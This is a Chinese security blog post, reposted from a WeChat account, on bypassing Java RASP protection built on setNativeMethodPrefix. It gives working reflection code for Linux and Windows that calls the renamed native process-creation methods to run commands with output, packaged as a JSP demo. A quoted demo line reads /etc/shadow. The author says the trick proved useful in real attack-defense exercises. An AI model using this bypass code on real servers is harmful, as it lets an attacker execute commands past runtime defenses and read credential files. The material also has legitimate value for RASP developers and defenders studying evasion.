Bypass RASP NativeMethodPrefix学习

admin 2024年1月10日12:43:02评论12 views字数 4898阅读16分19秒阅读模式

背景

众所周知,Java的RASP是没有办法直接Hook Native方法的,但确实有这个场景的需求。于是JDK官方出了一个java.lang.instrument.Instrumentation#setNativeMethodPrefix,在Java方法映射C++方法的时候加一个前缀,这样相当于创建一个了原有Native方法的代理,从而实现了Hook Native方法。

jrasp应该是最早公开介绍该技术用于RASP防御的(经su18师傅提醒,严谨一些):https://www.jrasp.com/guide/technology/native_method.html。

但是当攻击者有一定代码执行权限的时候,还是可以绕过。以命令执行来说,原来的Native方法为forkAndExec,加个前缀变成prefixforkAndExec,那么我们只需要反射调用prefixforkAndExec这个新的方法名即可。

turn1tup师傅给出了一个绕过的demo,核心逻辑为通过反射拿到真正的native方法,即可绕过RASP对于命令执行的hook:https://github.com/turn1tup/JvmRaspBypass/blob/main/src/main/java/com/test/RaspExample.java

  1. try{

  2. Class<?> clazz =Class.forName("java.lang.UNIXProcess");

  3. //cmd2,bypass jrasp native hook

  4. for(Method m : clazz.getDeclaredMethods()){

  5. if(m.getName().endsWith("forkAndExec")&&!m.getName().equals("forkAndExec")){

  6. m.setAccessible(true);

  7. System.out.println("prefix native method : "+m.getName());

  8. Cmd.linuxCmd(newString[]{"/bin/bash","-c","cat /etc/shadow && touch /tmp/shadow2"},m);

  9. }

  10. }

  11. }catch(Exception ignore){

  12. ignore.printStackTrace();

  13. }

最近在实际攻防中发现该方式挺有用的,因此本人进行扩展,实现了一个Win/Linux下通用的,自动绕过MethodPrefix的,可回显的,反射Native方法执行命令的JSP Demo。

搞一个简单的RASP

为了测试,先模拟一个setNativeMethodPrefix的RASP,参考 https://www.secrss.com/articles/49044,主要逻辑为: 1.移除想要hook的native方法。 2.增加一个native方法,这个方法和hook的native方法除了方法名增加prefix,其他相同。 3.增加一个和hook native方法同名的java方法(除了native modifier之外其他和hook native 方法相同),其中返回时调用prefix native方法。 这里为了简单起见直接throw Exception,把命令执行给干掉。

核心代码如下:

  1. publicstaticbyte[] transformed(){

  2. ClassPool pool =ClassPool.getDefault();

  3. CtClass clazz =null;

  4. try{

  5. System.out.println("start convert java.lang.UNIXProcess");

  6. clazz = pool.getCtClass("java.lang.UNIXProcess");

  7. if(clazz.isFrozen()){

  8. clazz.defrost();

  9. }

  10. CtMethod method =CtNewMethod.make("int myPrefix_forkAndExec(int var1, byte[] var2, byte[] var3, byte[] var4, int var5, byte[] var6, int var7, byte[] var8, int[] var9, boolean var10);", clazz);

  11. method.setModifiers(Modifier.PRIVATE |Modifier.NATIVE);

  12. System.out.println("add new native method myPrefix_forkAndExec");

  13. clazz.addMethod(method);

  14. CtMethod method1 = clazz.getDeclaredMethod("forkAndExec");

  15. System.out.println("remove old native method forkAndExec");

  16. clazz.removeMethod(method1);

  17. CtMethod method2 =CtNewMethod.make("int forkAndExec(int var1, byte[] var2, byte[] var3, byte[] var4, int var5, byte[] var6, int var7, byte[] var8, int[] var9, boolean var10) { throw new RuntimeException("RASP hooked forkAndExec"); }", clazz);

  18. System.out.println("add new method forkAndExec");

  19. clazz.addMethod(method2);

  20. return clazz.toBytecode();

  21. }catch(Exception e){

  22. e.printStackTrace();

  23. }

  24. returnnewbyte[0];

  25. }

直接命令执行会被干掉Bypass RASP NativeMethodPrefix学习

兼容无MethodPrefix场景&添加回显

把turn1tup师傅的代码改成JSP版本Bypass RASP NativeMethodPrefix学习

Bypass RASP NativeMethodPrefix学习可以绕过并执行命令,但是没回显,并且turn1tup师傅的代码仅适用于设置了MethodPrefix的场景,没设置反而不行。 javasec有一个Linux下反射Native执行命令并回显的demo,直接拿来改改 核心代码:

  1. try{

  2. Method forkMethod = processClass.getDeclaredMethod("forkAndExec",newClass[]{

  3. int.class,byte[].class,byte[].class,byte[].class,int.class,

  4. byte[].class,int.class,byte[].class,int[].class,boolean.class

  5. });

  6. forkMethod.setAccessible(true);// 设置访问权限

  7. int pid =(int) forkMethod.invoke(processObject,newObject[]{

  8. ordinal +1, helperpathObject, toCString(strs[0]), argBlock, args.length,

  9. null, envc[0],null, std_fds,false

  10. });

  11. }catch(Exception e){

  12. System.out.println("[-] reflect forkAndExec failed,try to bypass");

  13. for(Method m : processClass.getDeclaredMethods()){

  14. if(m.getName().endsWith("forkAndExec")&&!m.getName().equals("forkAndExec")){

  15. System.out.println("[+] get prefix native method : "+ m.getName());

  16. m.setAccessible(true);

  17. int pid =(int) m.invoke(processObject,newObject[]{

  18. ordinal +1, helperpathObject, toCString(strs[0]), argBlock, args.length,

  19. null, envc[0],null, std_fds,false

  20. });

  21. }

  22. }

  23. }

效果Bypass RASP NativeMethodPrefix学习

Bypass RASP NativeMethodPrefix学习

支持Windows

搜了一下发现公开的调用Native绕过的都是Linux平台的,debug看了一下Windows的Bypass RASP NativeMethodPrefix学习Windows反射Native更简单:Windows执行命令对应的Native方法是java.lang.ProcessImpl#create,create方法是个static,不需要实例化对象就可以调用;另外获取回显的文件描述符stdHandles也不像Linux那么多处理分支,可以直接用代码实现,不需要再反射调用。Bypass RASP NativeMethodPrefix学习

核心代码:

  1. publicstaticStringWinCreateProcess(String cmd)throwsException{

  2. Class<?> processImplClass =Class.forName("java.lang.ProcessImpl");

  3. long[] stdHandles =newlong[]{-1,-1,-1};// Initialize as invalid handles.

  4. sun.misc.JavaIOFileDescriptorAccess fdAccess

  5. = sun.misc.SharedSecrets.getJavaIOFileDescriptorAccess();

  6. // 这里将 redirectErrorStream 设置为 true 以便于将错误输出重定向到标准输出

  7. boolean redirectErrorStream =true;

  8. try{

  9. Method createMethod = processImplClass.getDeclaredMethod("create",

  10. String.class,String.class,String.class,long[].class,boolean.class);

  11. createMethod.setAccessible(true);

  12. long processHandle =(Long) createMethod.invoke(null, cmd,null,null, stdHandles, redirectErrorStream);

  13. }catch(Exception e){

  14. System.out.println("[-] reflect create failed,try to bypass");

  15. for(Method m : processImplClass.getDeclaredMethods()){

  16. if(m.getName().endsWith("create")&&!m.getName().equals("create")){

  17. System.out.println("[+] get prefix native method : "+ m.getName());

  18. m.setAccessible(true);

  19. long processHandle =(Long) m.invoke(null, cmd,null,null, stdHandles, redirectErrorStream);

  20. }

  21. }

  22. }

  23. FileDescriptor stdout_fd =newFileDescriptor();

  24. fdAccess.setHandle(stdout_fd, stdHandles[1]);

  25. InputStream stdout_stream =newBufferedInputStream(

  26. newFileInputStream(stdout_fd));

  27. return getStreamStr(stdout_stream,"GBK");

  28. }

效果 直接执行命令,会被干掉。Bypass RASP NativeMethodPrefix学习运行POC,即可绕过。Bypass RASP NativeMethodPrefix学习

Bypass RASP NativeMethodPrefix学习

原文始发于微信公众号(网络安全回收站):Bypass RASP NativeMethodPrefix学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月10日12:43:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Bypass RASP NativeMethodPrefix学习https://cn-sec.com/archives/2345996.html

发表评论

匿名网友 填写信息